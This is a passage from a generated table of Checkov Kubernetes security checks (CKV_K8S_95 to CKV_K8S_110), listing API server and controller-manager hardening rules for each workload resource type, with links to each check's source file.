| 567 | CKV_K8S_95 | resource | ReplicaSet | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 568 | CKV_K8S_95 | resource | ReplicationController | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 569 | CKV_K8S_95 | resource | StatefulSet | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 570 | CKV_K8S_96 | resource | CronJob | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 571 | CKV_K8S_96 | resource | DaemonSet | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 572 | CKV_K8S_96 | resource | Deployment | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 573 | CKV_K8S_96 | resource | DeploymentConfig | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 574 | CKV_K8S_96 | resource | Job | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 575 | CKV_K8S_96 | resource | Pod | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 576 | CKV_K8S_96 | resource | PodTemplate | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 577 | CKV_K8S_96 | resource | ReplicaSet | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 578 | CKV_K8S_96 | resource | ReplicationController | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 579 | CKV_K8S_96 | resource | StatefulSet | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 580 | CKV_K8S_97 | resource | CronJob | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 581 | CKV_K8S_97 | resource | DaemonSet | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 582 | CKV_K8S_97 | resource | Deployment | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 583 | CKV_K8S_97 | resource | DeploymentConfig | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 584 | CKV_K8S_97 | resource | Job | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 585 | CKV_K8S_97 | resource | Pod | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 586 | CKV_K8S_97 | resource | PodTemplate | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 587 | CKV_K8S_97 | resource | ReplicaSet | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 588 | CKV_K8S_97 | resource | ReplicationController | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 589 | CKV_K8S_97 | resource | StatefulSet | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 590 | CKV_K8S_99 | resource | CronJob | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 591 | CKV_K8S_99 | resource | DaemonSet | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 592 | CKV_K8S_99 | resource | Deployment | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 593 | CKV_K8S_99 | resource | DeploymentConfig | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 594 | CKV_K8S_99 | resource | Job | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 595 | CKV_K8S_99 | resource | Pod | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 596 | CKV_K8S_99 | resource | PodTemplate | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 597 | CKV_K8S_99 | resource | ReplicaSet | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 598 | CKV_K8S_99 | resource | ReplicationController | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 599 | CKV_K8S_99 | resource | StatefulSet | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 600 | CKV_K8S_100 | resource | CronJob | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 601 | CKV_K8S_100 | resource | DaemonSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 602 | CKV_K8S_100 | resource | Deployment | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 603 | CKV_K8S_100 | resource | DeploymentConfig | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 604 | CKV_K8S_100 | resource | Job | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 605 | CKV_K8S_100 | resource | Pod | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 606 | CKV_K8S_100 | resource | PodTemplate | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 607 | CKV_K8S_100 | resource | ReplicaSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 608 | CKV_K8S_100 | resource | ReplicationController | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 609 | CKV_K8S_100 | resource | StatefulSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 610 | CKV_K8S_102 | resource | CronJob | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 611 | CKV_K8S_102 | resource | DaemonSet | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 612 | CKV_K8S_102 | resource | Deployment | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 613 | CKV_K8S_102 | resource | DeploymentConfig | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 614 | CKV_K8S_102 | resource | Job | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 615 | CKV_K8S_102 | resource | Pod | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 616 | CKV_K8S_102 | resource | PodTemplate | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 617 | CKV_K8S_102 | resource | ReplicaSet | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 618 | CKV_K8S_102 | resource | ReplicationController | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 619 | CKV_K8S_102 | resource | StatefulSet | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 620 | CKV_K8S_104 | resource | CronJob | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 621 | CKV_K8S_104 | resource | DaemonSet | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 622 | CKV_K8S_104 | resource | Deployment | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 623 | CKV_K8S_104 | resource | DeploymentConfig | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 624 | CKV_K8S_104 | resource | Job | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 625 | CKV_K8S_104 | resource | Pod | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 626 | CKV_K8S_104 | resource | PodTemplate | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 627 | CKV_K8S_104 | resource | ReplicaSet | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 628 | CKV_K8S_104 | resource | ReplicationController | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 629 | CKV_K8S_104 | resource | StatefulSet | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 630 | CKV_K8S_105 | resource | CronJob | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 631 | CKV_K8S_105 | resource | DaemonSet | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 632 | CKV_K8S_105 | resource | Deployment | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 633 | CKV_K8S_105 | resource | DeploymentConfig | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 634 | CKV_K8S_105 | resource | Job | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 635 | CKV_K8S_105 | resource | Pod | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 636 | CKV_K8S_105 | resource | PodTemplate | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 637 | CKV_K8S_105 | resource | ReplicaSet | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 638 | CKV_K8S_105 | resource | ReplicationController | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 639 | CKV_K8S_105 | resource | StatefulSet | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 640 | CKV_K8S_106 | resource | CronJob | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 641 | CKV_K8S_106 | resource | DaemonSet | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 642 | CKV_K8S_106 | resource | Deployment | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 643 | CKV_K8S_106 | resource | DeploymentConfig | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 644 | CKV_K8S_106 | resource | Job | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 645 | CKV_K8S_106 | resource | Pod | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 646 | CKV_K8S_106 | resource | PodTemplate | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 647 | CKV_K8S_106 | resource | ReplicaSet | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 648 | CKV_K8S_106 | resource | ReplicationController | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 649 | CKV_K8S_106 | resource | StatefulSet | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 650 | CKV_K8S_107 | resource | CronJob | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 651 | CKV_K8S_107 | resource | DaemonSet | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 652 | CKV_K8S_107 | resource | Deployment | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 653 | CKV_K8S_107 | resource | DeploymentConfig | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 654 | CKV_K8S_107 | resource | Job | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 655 | CKV_K8S_107 | resource | Pod | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 656 | CKV_K8S_107 | resource | PodTemplate | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 657 | CKV_K8S_107 | resource | ReplicaSet | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 658 | CKV_K8S_107 | resource | ReplicationController | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 659 | CKV_K8S_107 | resource | StatefulSet | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 660 | CKV_K8S_108 | resource | CronJob | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 661 | CKV_K8S_108 | resource | DaemonSet | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 662 | CKV_K8S_108 | resource | Deployment | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 663 | CKV_K8S_108 | resource | DeploymentConfig | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 664 | CKV_K8S_108 | resource | Job | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 665 | CKV_K8S_108 | resource | Pod | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 666 | CKV_K8S_108 | resource | PodTemplate | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 667 | CKV_K8S_108 | resource | ReplicaSet | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 668 | CKV_K8S_108 | resource | ReplicationController | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 669 | CKV_K8S_108 | resource | StatefulSet | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 670 | CKV_K8S_110 | resource | CronJob | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 671 | CKV_K8S_110 | resource | DaemonSet | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 672 | CKV_K8S_110 | resource | Deployment | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 673 | CKV_K8S_110 | resource | DeploymentConfig | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 674 | CKV_K8S_110 | resource | Job | Ensure that the --service-account-private-key-file 